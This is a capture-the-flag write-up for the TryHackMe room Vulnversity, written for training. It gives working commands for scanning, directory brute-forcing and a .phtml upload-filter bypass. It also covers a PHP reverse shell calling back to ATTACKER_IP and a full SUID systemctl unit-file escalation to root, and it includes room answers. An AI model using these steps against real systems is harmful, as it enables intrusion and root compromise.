Vulnversity
Executive summary — Vulnversity is an Easy Linux room on TryHackMe that walks through a complete small-scale attack: port scan, web directory brute-forcing, bypassing a file-extension blacklist on an upload form to land a PHP reverse shell aswww-data, and finally abusing a SUID-rootsystemctlbinary to run a command as root. A Nmap → Gobuster → Upload filter bypass → Reverse shell → SUID systemctl → Root journey.
| Platform | TryHackMe |
| Operating system | Linux (Ubuntu) |
| Difficulty | Easy |
| Room | Vulnversity |
| Target IP | MACHINE_IP |
Attack map
[Nmap] 6 open ports, Apache on a non-standard port 3333
|
v
[Gobuster] /internal/ -> file upload form
|
v
[Burp Intruder] .php blocked, .phtml accepted (blacklist bypass)
|
v
[Upload PHP reverse shell] -> /internal/uploads/ -> shell as www-data
|
v
[SUID audit] /bin/systemctl has the setuid bit
|
v
[Malicious unit file] ExecStart runs as root -> root flag (FLAG)
1. Reconnaissance
Before touching anything we need a map of the exposed services. A version scan is the cheapest way to get one, because the service banners tell us both what is running and which operating system family we are dealing with.
nmap -sV MACHINE_IP
-sV makes Nmap probe each open port and report the product and version rather than just the port number. Without it, port 3333 would simply read as "dec-notes" or "unknown" and we would never realise it is a web server.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
3128/tcp open http-proxy Squid http proxy 4.10
3333/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Analysis: six ports are open. FTP, SSH and Samba are present, but the interesting surface is the web server: Apache runs on 3333 instead of 80, which is a common trick to dodge lazy scanners that only look at default ports. The Squid proxy on 3128 is version 4.10. The OpenSSH and Apache banners both say "Ubuntu", which answers the operating system question without any extra scanning.
Adding -O asks Nmap to fingerprint the TCP/IP stack. On this target it reports "No exact OS matches", so the service banners are the more reliable source here. Other flags worth knowing from this task:
| Flag | What it does |
|---|---|
-p- | Scan all 65,535 ports instead of the default top 1,000 |
-p-400 | Scan ports 1 to 400, so 400 ports in total |
-Pn | Skip host discovery, useful when ICMP is filtered |
-sC | Run the default NSE scripts |
-A | OS detection, version detection, default scripts and traceroute together |
-sU / -sS | UDP scan / TCP SYN scan |
-v | Verbose output |
Q: How many ports are open?
A: 6
Q: What version of the Squid proxy is running?
A: 4.10
Q: How many ports will Nmap scan with -p-400?
A: 400
Q: What is the most likely operating system?
A: Ubuntu
Q: Which port does the web server run on?
A: 3333
Q: Which flag enables verbose mode?
A: -v
2. Directory enumeration
The web root is a plain marketing page, so the useful content is whatever is not linked from it. Gobuster brute-forces paths from a wordlist and reports every one that does not return 404.
gobuster dir -u http://MACHINE_IP:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 32
dirselects directory/file mode (Gobuster also does DNS and vhost brute-forcing).-uis the base URL and-wthe wordlist.-t 32raises the thread count so the 220,000-entry list finishes in reasonable time. Keep it modest on fragile targets.
/css (Status: 301)
/js (Status: 301)
/images (Status: 301)
/fonts (Status: 301)
/internal (Status: 301)
/server-status (Status: 403)
Analysis:css,js,imagesandfontsare ordinary static asset folders./server-statusreturns 403, meaning it exists but is denied./internal/is the odd one out, and browsing to it shows a file upload form.
Q: Which directory holds the upload form?
A: /internal/
3. Bypassing the upload filter
Upload forms are a classic foothold: if the server stores a file we control inside the web root and the web server will execute it, we have code execution. Developers usually react with a blacklist of dangerous extensions, and blacklists are fragile because PHP is executed by Apache for several extensions, not just .php.
Trying a plain .php file is rejected, so the next step is to find out which variants slip through. Burp Intruder automates that:
- Create a small wordlist with one extension per line:
.php,.php3,.php4,.php5,.phtml. - Upload any harmless file with Burp intercepting, then send the captured request to Intruder.
- Choose the Sniper attack type, which cycles one payload through one position.
- Clear the default positions and wrap only the extension of the filename in section markers.
- Load the wordlist as the payload set and start the attack.
Compare the responses: the rejected extensions return the same error text and length, while the accepted one stands out by a different response size. Here .phtml is the extension that is accepted.
Why it works: the filter only compares the filename against a short denylist. Apache's PHP handler is commonly mapped to .phtml and the numbered variants as well, so the file is stored and still interpreted as PHP. A safer design is an allowlist of permitted types, renaming files on upload, storing them outside the web root, and disabling script execution in the upload directory.
Q: Which common file type is blocked?
A: .php
Q: Which extension is allowed?
A: .phtml
4. Reverse shell as www-data
A reverse shell makes the victim connect back to us, which works even when inbound connections to the target are firewalled. The room uses the well-known pentestmonkey PHP reverse shell:
- Edit the script so the IP is your VPN/tun0 address (
ATTACKER_IP) and the port matches your listener. - Save it with the allowed extension, for example
php-reverse-shell.phtml. - Start a listener, then upload the file.
nc -lvnp 1234
-l listens, -v is verbose, -n skips DNS lookups and -p sets the port. Trigger the payload by requesting the uploaded file, which the application stores under the uploads folder:
curl http://MACHINE_IP:3333/internal/uploads/php-reverse-shell.phtml
The listener receives a connection and the shell runs as the web server account:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Looking in /home reveals the local users bill and ubuntu. The first is the user the question is after, and his home directory is world-readable:
ls -l /home
cat /home/bill/user.txt
The file contains the user flag, which is FLAG in this writeup.
Q: Which user manages the web server?
A: bill
Q: What is the user flag?
A: FLAG
5. Privilege escalation via SUID systemctl
A SUID binary runs with the privileges of its owner instead of the caller. /usr/bin/passwd is the textbook legitimate case: ordinary users need it to edit root-owned files. The danger is a SUID-root binary that can be made to run arbitrary commands. Listing every setuid file owned by root is the standard first check:
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-user root -perm -4000keeps files owned by root with the setuid bit set.-exec ls -ldb {} \;prints a long listing for each, so permissions show as-rwsr-xr-x(thesis setuid).2>/dev/nullhides permission-denied noise.
Nearly everything in the output is expected (sudo, passwd, su, mount, snap-confine and so on). One entry does not belong: /bin/systemctl with the setuid bit.
Q: Which SUID file stands out?
A: /bin/systemctl
Because systemctl now acts as root, we can ask systemd to install and start a service whose command we choose. The unit file just needs to live somewhere we can write, such as /tmp, and systemctl link registers it from there:
cd /tmp
privesc=$(mktemp).service
cat > $privesc << EOF
[Service]
ExecStart=/bin/bash -c "cat /root/root.txt > /tmp/flag.txt"
[Install]
WantedBy=multi-user.target
EOF
/bin/systemctl link $privesc
/bin/systemctl enable --now $privesc
cat /tmp/flag.txt
ExecStartis the command systemd runs, and since the manager is root, so is the command. Here it copies the root flag to a readable location.linksymlinks the unit from/tmpinto the systemd search path;enable --nowhooks it tomulti-user.targetand starts it immediately.- The same idea works for any command, for example creating a SUID copy of a shell or adding a user. Reading the flag is the least invasive demonstration. This technique is catalogued on GTFOBins under
systemctl.
Q: What is the root flag?
A: FLAG
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | Apache on port 3333 | Unlinked /internal/ directory discoverable by brute force | Exposes an upload form |
| Initial access | Upload form | Extension blacklist missing .phtml; uploads executed as PHP | Remote code execution as www-data |
| Privilege escalation | /bin/systemctl | Setuid-root bit on a service manager | Arbitrary command execution as root |
Lessons learned
- Scan beyond the default ports: services on 3333, 3128 and similar are routinely missed by shallow scans.
- Extension blacklists fail. Use allowlists, rename uploads server-side, store them outside the web root and turn off script execution in upload folders.
- Unlinked does not mean protected:
/internal/should have required authentication. - Audit SUID binaries regularly. Anything that can start processes or edit files (
systemctl,find,vim, interpreters) must never carry the setuid bit. - Offensively, build a routine: Nmap, content discovery, upload testing, shell stabilisation, then SUID, sudo and capability checks with GTFOBins as a reference.